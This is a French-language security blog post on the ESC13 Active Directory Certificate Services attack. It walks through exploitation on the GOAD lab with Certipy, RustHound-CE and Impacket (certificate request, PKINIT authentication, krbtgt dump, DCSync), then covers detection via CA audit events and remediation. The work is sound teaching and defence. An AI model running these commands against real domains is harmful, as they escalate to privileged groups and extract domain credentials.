ESC13 : Être membre fantôme d’un groupe
Comprendre simplement l'attaque ESC13 sur AD CS (une issuance policy liée à un groupe), pourquoi est-elle discrète, comment l'exploiter, comment la détecter, et comment RustHound-CE la cartographie maintenant dans BloodHound-CE.
Sommaire
English version here.
TL;DR
Cet article présente l'attaque ESC13, une mauvaise configuration AD CS où un modèle de certificat porte une « issuance policy » liée à un groupe de sécurité. La conséquence est que toute personne qui peut s'enrôler sur ce modèle obtient, via son certificat, l'appartenance à ce groupe directement dans son ticket Kerberos. Pas d'ajout au groupe, pas de modification visible dans l'annuaire. Un simple utilisateur du domaine peut ainsi se retrouver Administrateur, selon le groupe auquel le certificat est lié. Beaucoup de papiers existent à ce sujet, et ceux de SpecterOps restent les meilleures références. Dans cet article, je simplifie le mécanisme, je montre comment l'exploiter côté Red et le détecter côté Blue, et je parle de la nouvelle collecte ESC13 ajoutée à RustHound-CE par @marbasec.
C'est quoi ESC13 ?
Dans AD CS, un modèle de certificat (template) peut avoir une politique d'émission (issuance policy). À la base, c'est juste un identifiant (un OID) qui indique « ce certificat a été émis selon telle politique ».
Là où ça dérape, c'est qu'Active Directory permet de lier cet OID à un groupe de sécurité, via l'attribut msDS-OIDToGroupLink. L'intention d'origine est légitime, c'est le mécanisme d'Authentication Mechanism Assurance (AMA) de Microsoft, « quiconque s'authentifie avec un certificat portant cette politique est traité comme membre de ce groupe ».
Le point clé, et c'est tout l'intérêt de l'attaque, cette appartenance n'est pas réelle. Vous n'êtes pas ajouté au groupe dans l'annuaire. Le SID du groupe est injecté dans le ticket Kerberos au moment de l'authentification, parce que le certificat porte le bon OID. Vous « devenez » membre le temps de votre session, sans jamais avoir touché à l'appartenance du groupe.
Pourquoi c'est vicieux
L'exploitation tient en trois conditions :
- Un modèle de certificat avec une
issuance policyliée à un groupe intéressant (un groupe admin, ou un groupe qui ouvre un chemin identifié via BloodHound-CE). - Ce modèle de certificat permet l'authentification client.
- Un utilisateur contrôlé par l'attaquant peut s'enrôler dessus.
Si le modèle de certificat est enrôlable par Domain Users, alors n'importe quel compte du domaine peut demander un certificat, s'authentifier avec, et hériter des droits du groupe lié. Par exemple, de Domain Users à Administrators, sans bruit.
Ce qui rend ESC13 particulièrement sournois côté défense :
- Pas de modification d'appartenance de groupe : rien ne bouge dans l'annuaire, donc pas d'alerte classique « ajout à un groupe privilégié ».
- Le certificat est parfaitement légitime : il est émis par votre propre autorité de certification.
- C'est silencieux : l'élévation vit dans le ticket Kerberos, pas dans la config AD.
Côté Red Team : exploitation
La démonstration ci-dessous est réalisée sur le lab GOAD créé par @M4yFly.
Vu les trois conditions plus haut, le scénario le plus parlant est le pire cas pour un défenseur; un modèle de certificat enrôlable par Domain Users, dont l'issuance policy est liée à un groupe privilégié. On part donc d'un simple compte du domaine, et on vise l'élévation.
Le déroulé tient en quatre temps :
- Repérer le chemin ;
- Demander le certificat ;
- S'authentifier pour récupérer un ticket qui porte le SID du groupe ;
- Puis exploiter les droits obtenus.
1. Repérer le chemin
Première étape, trouver le modèle vulnérable. Deux outils se complètent, Certipy développé par @ly4k_ pour l'audit ciblé des templates, et RustHound-CE + BloodHound-CE pour visualiser le chemin dans le graphe (voir la section suivante sur la nouvelle collecte ESC13).
Détecter avec Certipy
L'outil de référence à utiliser est Certipy, voici la commande utilisée :
# Inventaire des modèles et mise en évidence des configs vulnérables avec l'outil Certipy
certipy find -u user1@essos.local -p 'user1' -dc-ip 192.168.56.12 -vulnerable -stdout
On cherche un modèle marqué ESC13, c'est-à-dire portant un msDS-OIDToGroupLink vers un groupe intéressant, et enrôlable par un groupe large.

Détecter avec RustHound-CE et BloodHound-CE
Bonne nouvelle ! Depuis la version v2.5.26, RustHound-CE collecte tout ce qu'il faut pour faire apparaître ce chemin dans BloodHound-CE. Concrètement, il récupère la politique portée par le modèle (certificatepolicy) et le groupe lié à la policy (OIDGroupLink), ce qui permet à BloodHound-CE de tracer les arêtes ExtendedByPolicy et OIDGroupLink, et donc de révéler le chemin ESC13 qui était invisible jusque-là.
Et le mieux, c'est que ces deux attributs reviennent déjà dans la lecture LDAP normale, donc pas de recherche supplémentaire, pas de droits en plus.
D’ailleurs, un grand merci à @marbasec pour cette feature, et pour la série de bug fixes qui la précède. 🔥
# Collecte des objets de l'annuaire Active Directory avec l'outil RustHound-CE
rusthound-ce -d essos.local -u 'user1' -p 'user1' -z
Une fois la collecte importée dans BloodHound-CE, on met en évidence le chemin avec une requête Cypher simple :
MATCH p=()-[:ADCSESC13]->() RETURN p

C'est exactement le genre de chose qu'une Blue Team peut faire sur son propre annuaire, voir son annuaire Active Directory comme un attaquant le voit, et repérer ces liens OID vers groupe avant qu'ils ne soient exploités.
Saviez-vous que vous pouvez détailler les chemins d'exploitation avec BloodHoun-CE en cliquant sur le noeud ADCSESC13 et sur Composition :


2. Demander le certificat
Une fois le modèle identifié, on s'enrôle dessus avec notre compte contrôlé. Rien d'exotique ici, c'est une demande de certificat tout ce qu'il y a de plus normale, c'est bien ça qui rend l'attaque discrète.
certipy req -u user1@essos.local -p 'user1' \
-dc-ip 192.168.56.12 -ca 'ESSOS-CA' -template 'ESC13Template' -target 192.168.56.23 \
-upn user1@essos.local -debug
On récupère un .pfx contenant notre certificat, qui porte l'OID de la politique d'émission liée au groupe.

2.1. Optionnel : Analyse du certificat
Avant même d'authentifier, on peut confirmer que le certificat embarque bien l'OID de l'issuance policy liée au groupe. C'est lui que le KDC suivra via msDS-OIDToGroupLink.
On extrait d'abord le certificat du .pfx (Certipy produit un .pfx sans mot de passe par défaut, d'où le -passin pass:) :
# PFX vers PEM (certificat seul, sans la clé privée)
openssl pkcs12 -in user1.pfx -passin pass: -nokeys -clcerts -out user1.crt
Puis on lit les extensions, en ciblant la section Certificate Policies :
openssl x509 -in user1.crt -noout -text | grep -A 3 "Certificate Policies"

On retrouve exactement l'OID affiché par certipy find dans le champ Issuance Policies du template. Le certificat est donc bien « marqué », il ne reste plus qu'à l'utiliser pour que le KDC injecte le SID du groupe lié dans le ticket.
3. S'authentifier et récupérer le ticket TGT
C'est l'étape où la magie opère. On s'authentifie via PKINIT avec le certificat. Au moment où le KDC construit le ticket, il voit l'OID porté par le certificat, suit le msDS-OIDToGroupLink, et injecte le SID du groupe dans le PAC du ticket.
certipy auth -pfx user1.pfx -dc-ip 192.168.56.12
Résultat : un TGT (et le hash NT au passage) pour un compte qui, à l'annuaire, n'est membre d'aucun groupe privilégié, mais dont le ticket, lui, porte le SID du groupe lié. C'est tout l'intérêt, et toute la discrétion, de ESC13.

3.1. Optionnel : Analyse du ticket TGT
Comme évoqué précédemment, le groupe doit être renseigné dans le TGT. On peut le vérifier à l'aide de l'outil describeTicket.py de la suite Impacket. Mais la partie qui nous intéresse, le PAC, est chiffrée avec la clé du compte krbtgt, il faut donc d'abord récupérer cette clé AES avec l'outil secretsdump.py.
secretsdump.py -just-dc-user 'ESSOS/krbtgt' 'ESSOS.LOCAL/administrator:Azerty12345@192.168.56.12'

Dumper la clé
krbtgtsuppose déjà un accès privilégié. Ici, c'est uniquement pour inspecter notre propre ticket et prouver l'injection sur le lab, pas une étape de l'attaque ESC13 elle-même.
Maintenant, il est possible de détailler le ticket TGT avec describeTicket.py tout en déchiffrant la partie PAC, qui contient les informations qui nous intéressent :
describeTicket.py user1.ccache --aes b16792405a3da8cdaefe72ad5340e480a9601048dacfaeeadbd9d1425d40e0ea

Le ticket nous indique bien que l'utilisateur est relié à deux groupes, dont un avec l'ID 3123. Combiné au SID de domaine présent dans le PAC (S-1-5-21-3600700137-3291257795-828247845), ce RID 3123 donne le SID complet S-1-5-21-3600700137-3291257795-828247845-3123. On vérifie à qui il appartient dans BloodHound-CE :
MATCH (g:Group) WHERE g.objectid ENDS WITH "-3123" RETURN g

Cela confirme que le certificat demandé via l'exploitation ESC13 associe bien user1 au groupe ADMINS-DC, alors que ce compte n'en est membre dans l'annuaire. L'appartenance fantôme est prouvée !
4. Exploiter les droits obtenus
À partir de là, on utilise simplement les droits du groupe injecté. Si le groupe lié est privilégié, l'élévation est immédiate. Par exemple, si le certificat nous fait hériter de droits équivalents à un administrateur du domaine, un DCSync suffit à le démontrer.
export KRB5CCNAME=user1.ccache
secretsdump.py -k @MEEREEN

PKINIT vs Schannel : pourquoi ça passe par Kerberos
Je me suis posé une question et je me suis dit que cela pourrait être utile en retour à la communauté : « si mon certificat porte le bon OID, est-ce que je récupère aussi le groupe en m'authentifiant en Schannel ? » Malheureusement non. L'injection du SID vient du mécanisme AMA, qui est évalué côté KDC, pendant un PKINIT : c'est à ce moment que l'OID du certificat est suivi jusqu'au groupe lié et que le SID entre dans le PAC du ticket Kerberos.
C'est la partie présentée dans la partie Optionnel : Analyse du ticket TGT de l'article.
En Schannel (auth TLS par certificat client sur LDAPS, HTTPS…), le certificat est simplement mappé à un compte, sans passer par cette évaluation AMA. Et quand le service matérialise un token via S4U2Self, il le fait par nom/SID du compte, sans certificat, donc le groupe lié n'apparaît pas. Résultat : vous vous authentifiez bien comme le compte, mais sans les droits du groupe de l'issuance policy. C'est pour ça que la chaîne ESC13 passe toujours par PKINIT pour récupérer l'élévation.
Côté Blue Team : détection, SOC et SIEM
ESC13 étant discret par nature, la détection joue sur deux tableaux, la posture (chasser la mauvaise config) et la surveillance (attraper l'exploitation).
1. La posture d'abord, et donc chasser la mauvaise configuration, c'est le meilleur retour sur investissement. Connaître sa CA, c'est connaître un gros vecteur d'attaque. Auditez régulièrement la config de vos modèles avec Certipy (find -vulnerable) et avec RustHound-CE + BloodHound-CE. Les liens OID vers groupe sont rares, donc faciles à lister.
2. Surveiller l'émission de certificats. Le cœur de l'attaque, c'est une demande puis une émission de certificat. Sur la CA, les événements à collecter :
- 4886 : demande de certificat reçue.
- 4887 : certificat émis.
La règle utile serait d'alerter sur une émission (4887) depuis un modèle dont l'issuance policy est liée à un groupe. Comme vous connaissez la liste de ces modèles (Certipy / RustHound-CE vous la donnent), vous en faites une watchlist étroite, et le signal reste propre.
Attention car par défaut, l'audit AD CS n'est pas activé. Sans ça, les events 4886/4887 n'existent pas. C'est le tout premier point à corriger. Microsoft documente la marche à suivre côté Defender for Identity : configurer l'audit sur un serveur AD CS et la liste des événements AD CS requis.
certutil -setreg CA\AuditFilter 127
Restart-Service certsvc

Ainsi cette activation permet d'obtenir les événements associés à la requêtes de certificats comme ci-dessous :

Remédiation
- Supprimer les liens OID vers les groupes qui ne sont pas strictement nécessaires. C'est rarement légitime.
- Si un lien est justifié, restreindre l'enrôlement du modèle concerné à un groupe minimal. Surtout pas
Domain UsersniAuthenticated Users. - Activer l'audit AD CS partout, sinon aucune détection à l'émission ne fonctionne.
MITRE ATT&CK
Pour raccrocher l'article à la matrice, voici les TTP qui collent à ce scénario. La première est le cœur de l'attaque (l'abus de certificat), les autres décrivent l'élévation et l'impact.
| Tactique | ID | Technique | Dans ce scénario |
|---|---|---|---|
| Credential Access | T1649 | Steal or Forge Authentication Certificates | Enrôlement sur le modèle vulnérable pour obtenir un certificat portant l'OID lié au groupe |
| Privilege Escalation | T1078.002 | Valid Accounts: Domain Accounts | Le compte du domaine hérite des droits du groupe injecté, sans modification d'appartenance dans l'annuaire |
| Lateral Movement | T1550.003 | Use Alternate Authentication Material: Pass the Ticket | Authentification PKINIT et usage du TGT portant le SID du groupe lié |
| Credential Access | T1003.006 | OS Credential Dumping: DCSync | Exploitation finale des droits obtenus pour extraire les secrets du domaine |
Pour aller plus loin
Trois ressources que je recommande :
- Les blog posts GOAD de @M4yFly : parfaits pour s'entraîner à l'exploitation sur un lab, dont la partie ESC13 : mayfly277.github.io/posts/ADCS-part14/#esc13.
- L'article SpecterOps qui explique très bien l'attaque : specterops.io/blog/2024/02/14/adcs-esc13-abuse-technique.
- Le papier de référence Certified Pre-Owned, incontournable pour tout ce qui touche à AD CS : Certified_Pre-Owned.pdf.
Crédits et liens
- RustHound-CE : github.com/g0h4n/RustHound-CE
- Collecte ESC13 ajoutée par @marbasec avec la PR (#96)
- BloodHound Community Edition, par SpecterOps : github.com/SpecterOps/BloodHound
- Certipy, par @ly4k_ : github.com/ly4k/Certipy
- GOAD, le lab AD pour s'entraîner : github.com/Orange-Cyberdefense/GOAD
- ESC13, technique documentée par Jonas Bülow Knudsen (SpecterOps), découverte initiale par Adam Burford